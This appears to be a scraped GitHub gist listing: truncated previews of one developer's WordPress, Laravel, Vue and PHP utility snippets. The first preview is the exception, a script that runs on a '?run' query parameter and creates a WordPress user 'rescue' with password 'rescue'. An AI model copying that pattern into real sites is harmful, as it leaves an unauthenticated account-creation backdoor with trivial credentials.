This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(isset($_GET['run'])): | |
include_once './wp-blog-header.php'; | |
$user = get_user_by('login', 'greyd'); | |
if(!$user) | |
wp_insert_user([ | |
'user_login' => 'rescue', | |
'user_url' => 'rescue', | |
'user_pass' => 'rescue', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Disable WP REST API JSON endpoints if user not logged in | |
*/ | |
function chuck_disable_rest_endpoints( $access ) { | |
if( ! is_user_logged_in() ) { | |
return new WP_Error( 'rest_cannot_access', __( 'Only authenticated users can access the REST API.', 'disable-json-api' ), array( 'status' => rest_authorization_required_code() ) ); | |
} | |
return $access; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
File: WP Custom Columns Extension | |
Author: Gkiokan Sali | |
Date: 25.07.2018 | |
*/ | |
class CustomColumn { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
VC Additions file for Extensions | |
*/ | |
namespace G\VC; | |
new Fonts; | |
class Fonts { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Gist: PHP Token Generator v2 | |
Author: Gkiokan Sali | |
Date: 2019-05-24 | |
Description: Generate a unique token with a special format. | |
*/ | |
namespace App\Utils; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Gist: PHP Token Generator | |
Author: Gkiokan Sali | |
Description: Generate a unique token with a special format. | |
*/ | |
namespace Gkiokan\Tools; | |
class Token { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const mix = require('laravel-mix'); | |
require('laravel-mix-merge-manifest'); | |
const VuetifyLoaderPlugin = require('vuetify-loader/lib/plugin'); | |
mix.setPublicPath('../../public').mergeManifest(); | |
mix.js(__dirname + '/Resources/assets/src/main.js', 'modules/web/app.js') | |
.sass( __dirname + '/Resources/assets/sass/app.scss', 'modules/web/app.css'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var recognition = new webkitSpeechRecognition(); | |
recognition.lang = 'de'; //Sprache auf Deutsch festlegen | |
recognition.continuous = true; | |
recognition.interimResults = true; | |
//recognition.onstart = function() { recognizing = true; }; | |
//recognition.onerror = function(event) { console.log(event.error); }; | |
//recognition.onend = function() { recognizing = false; }; | |
recognition.onresult = function (event) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: Gkiokan Sali | |
Date: 02.01.2020 | |
Notes: Utility for Vue JS functions, used as this.$util.{functionName} | |
*/ | |
import Vue from 'vue' | |
import moment from 'moment' | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Author: Gkiokan Sali | |
Web: https://gkiokan.net | |
Date: 11.08.2020 | |
Comments: | |
Use Google Geocoding API in Laravel | |
but it can be extracted to any other PHP Application, too. | |
It has also helper functions that can help others, too. | |
*/ |